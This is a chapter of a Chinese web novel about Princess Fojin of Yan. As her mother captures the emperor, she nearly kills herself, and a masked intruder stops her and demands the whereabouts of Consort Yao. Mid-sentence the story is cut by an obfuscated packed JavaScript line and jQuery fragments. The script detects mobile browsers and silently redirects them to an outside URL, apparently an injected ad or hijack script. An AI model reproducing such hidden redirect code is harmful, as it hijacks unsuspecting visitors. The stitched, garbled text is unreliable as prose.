2. 何去何从

作品:《佛槿女帝

    佛槿怔怔地看着自己的父亲,又看着神色始终冷静的母亲,不敢相信眼前发生的事情。


    她的母亲,大燕的皇后亲自带人抓住了她的父亲——昭献帝。


    在佛槿的心中,自己的父皇是一位不世的英雄。


    早年的燕帝夏侯盛的确称得上雄主,他十八岁登基,次年平定诸王之乱,建元昭献。其后励精图治,轻徭薄赋,燕国百姓赖以得安。待到昭献五年,他又亲自率军踏平西境,西凉诸国皆俯首称臣。


    尽管近些年佛槿也偶尔听到一些传闻,昭献帝因为偏宠贵妃,重用佞幸而荒废了国事。


    然而洛邑的四时八节,依然过得热闹红火。


    每当昭献帝率领百官,前往阴山举行鲜卑族的却霜之礼时,北地的诸国和部落都会派出使臣,带着珍宝来朝见。若是能够获准参与却霜礼,使者们都会露出感激涕零的表情。


    佛槿深深地为自己的父亲感到骄傲,虽然他对待母亲不像从前那样亲爱,但始终保有一份尊重;虽然每日的朝会渐渐荒废,但戴岳等人的奏折还是可以通过丘敦皇后送到御前;虽然姚氏因为宠爱而骄横跋扈,但她也不敢触碰两位公主的尊荣……


    佛槿从来没有想过,自己的父亲会被五花大绑,曝于中庭。


    动手的人,还是她的母亲,他的皇后。


    佛槿一时之间不知该如何面对这样的父亲,她站在那里,手足无措。昭献帝也看到了小女儿,面对那双和少年时丘敦皇后一模一样的明亮双眸,他只觉脸上一阵羞愧,扭转了头。


    丘敦皇后看着自己的丈夫,面色似乎毫无变化,只有熟悉她的人能够分辨出她眼中的万般情绪。


    富郦的声音在佛槿的耳畔响起,拉回了她的注意力:“殿下,皇后娘娘请您换上素服。”


    佛槿看着这位大长秋,慢慢地道:“我明白了。”


    看到被缚的父皇,再想到母后方才所说的“囚徒”两字,她还有什么不明白的。大局已经崩坏至此,要么战到最后,要么委身敌营。


    她的父亲懦弱不敢做出选择,她的姐姐选择了前者,而她的母亲则准备选择后者。


    丘敦皇后虽然对小女儿也十分宠爱,但从不放松对她的教育。佛槿五岁开蒙,七岁就开始跟着丞相戴岳读书。


    戴岳爱讲史书,佛槿也爱听那些历史上荡气回肠的英雄故事。一个故事有胜利者,自然也会有失败者。戴岳曾经告诉她,千年之前的君主出降都是肉袒牵羊,后来则改为白衣授首。尤其是前朝覆灭之后,中原大地陷入战乱,前后有十几个国家建立,成王者数十,败亡者更多。


    起兵陇西,称霸关中的吕氏,被名将云集的慕容氏攻破都城;而占据河东之地,连南朝国主也十分忌惮的慕容氏则亡于内乱;姚氏曾经被燕国灭掉,最终靠着无数贡献,并且奉上公主才获得了复国的许可。


    每过十几年,甚至更短的时间,北方的格局就会发生巨大的改变。白衣君主授首,恳求敌人的慈悲,万千将士殒命,尸骨常埋异乡,无辜百姓流离,如草芥一般,不知魂归何处。


    佛槿身为燕国的公主,一旦国灭,自然也在出降之列。她想起戴岳说过的那些亡国宫眷的遭遇,被欺辱,被蹂躏……


    她恍恍惚惚地朝着自己的宫殿走去。宫中的侍女们也跑得一干二净了,好在此刻的她也不需要人来服侍了。


    抚摸着冰冷外鞘上流畅的纹路,佛槿深吸一口气,将匕首抽了出来。她无法反抗母后的决定,但至少可以选择自己的前路。


    佛槿望了一眼窗外已经爬升到半空中的旭日,握紧了手中的匕首,正当她准备闭上双眼,横刀向自己的脖子移去的时候,一个黑色的身影突兀地出现在视线内。


    佛槿感到手中一沉,竟然无法握住匕首,“当啷”一声,这柄华丽的匕首在空中划过一道凌厉的曲线,落在了地上。


    佛槿睁大了眼睛,看着面前的黑衣人。对方面上覆着黑纱,一双眸子冷冷地看着她,声音也透出一股寒意:“姚妃人在哪里?”


    还来不及仔细回想生死一线是何滋味的佛槿被他问句中的人名惊醒。


    姚妃,呵,姚妃。


    姚氏出身西凉,深受昭献帝宠爱,八年前育有一子,便晋升贵妃之位。在后宫之中,她的地位可以说是一人之下,万人之上。


    然而此时此刻,围困在城外的大军同样来自西凉。一方是自己的母国,一方是宠爱自己的君主,京中传言纷纷,多是指责姚妃与西凉勾结。


    姚妃的处境就尴尬起来了。昭献帝或许是为了保护自己的爱妃,又或许有其他目的,一日前便特意下诏,将她和皇子一同送出了宫城。


    除了昭献帝和经手此事的赵兴之外,无人知晓这对母子的所在。难怪这黑衣人找不到他们。


    佛槿意识到,眼前这人的身份肯定大有文章。她不答反问:“你是何人?”自幼生长于宫廷的经历,让她的语气中带着天然的矜持与傲气。


    黑衣人一怔。他方才只看到这个女子手持匕首,并没有留意到对方正在做什么。只是隔着几丈的距离,那颗嵌在刀柄上的红宝石都能慑人眼球,显然此女子的身份很不一般。


    他急于寻找姚妃的下落,便心念一动,击落了匕首,现身询问。


    在此之前,他确实是别无他法了。此刻燕国皇宫早就乱成一团,任凭他刀剑相逼,那些宫人内侍都说不出有用的消息,只会跪地求饶,痛哭流涕。他一放手,那些人便全然不顾身后的刀兵,匆匆逃离,逃离这座即将陷落的宫城。


    而眼前的女子和他们的不一样,她不仅不慌张,反而还理直气壮地反问。


    黑衣人心中更加笃定,姚妃的下落,多半就落在眼前这个女子身上了。他冷哼了一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149108|164796||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声,道:“你这样的年纪,看起来不是燕帝的妃子。衣饰华丽,也不像宫人。难道你是燕国的公主?”


    他的口气如此轻慢。本已存了死志的佛槿也被激起了怒气,她身量不高,却不妨碍她微微扬起下颌,朝着对方道:“不错,我就是燕国公主,你又是何人?”


    她不过十三四岁的年纪,做出这样睥睨的姿态,仿佛初生的风鸟立于朝阳笼罩的梧桐枝头之上,昂首面对林间众生,即便声音稚嫩,依旧是无人可以轻视的百鸟之王。


    旭日的光晕落在她脸上,继承自丘敦皇后的容貌,并非惊世绝艳,却另有一种摄人心魄的神韵。


    黑衣人眼中闪过莫名的情绪,他已经猜出了她的身份。作为雄踞北方十五年的大国,燕朝的公主自然受到万民瞩目。按照年龄推断,眼前的这位必然是未涉政务的小公主——佛槿。


    他猛地想起方才佛槿手持匕首的样子,心中升起难以名状的思绪——虽然事情发生的那一瞬间,他没有意识到她手持匕首的目的,但现在他已经清清楚楚地意识到,只差一点,这位骄傲如风鸟一般的小公主就香消玉殒了。


    他握紧了手中的剑,努力驱走那些不合时宜的想法。现在最重要的事情是找到姚妃,眼前这个少女,不过是一个即将亡国的公主。


    她的生死,与他何干。


    他迫使自己的注意力从她身上移开,片刻后,他的目光落在了那柄匕首上面,反射着旭日光芒的宝石殷红如血,


    血,公主的血。


    一个念头划过他的脑海。传闻燕国两位公主感情十分要好,昨日云昙公主率军抵抗西凉大军,如今下落不明,生死不知。


    他如果想要从佛槿的口中套出消息来,就不得不利用这一点。或许这样,就可以从她的口中套问出姚妃的下落。


    思绪转了千匝,实则只是瞬息之间,他就下定了决心,开口道:“原来燕国的公主这样软弱,还没有见到敌人,便先要退缩了。”为了进一步激怒佛槿,黑衣人努力保持着之前那种轻慢的语气,但隐藏在黑纱之后的面容却不自觉地冷峻起来了。


    佛槿抿紧了嘴。她知道对方是在故意挑衅,可是她又无法去反驳。这一刻,她恍然明白了母后,燕国不需要一个退缩的君主,她的父亲已经亲手丢掉了自己的皇位。那么身为公主的她,又该选择什么样的道路,才是正确的呢?


    她的眉间闪过一丝犹疑,黑衣人看她的神色,便知道自己的计策起了效果。他弯腰拾起那柄匕首。


    冰冷的精钢上早已没有了少女掌心的温度。他静静看了一眼血红的宝石,然后将匕首调转过来,递到佛槿面前。


    佛槿望着他,心生疑窦。


    黑衣人直直回望,语气从漫不经心渐渐转为冷凝:“大厦将倾,云昙公主孤军出击,胆识令人钦佩。而佛槿公主……不担心自己的姐姐吗?”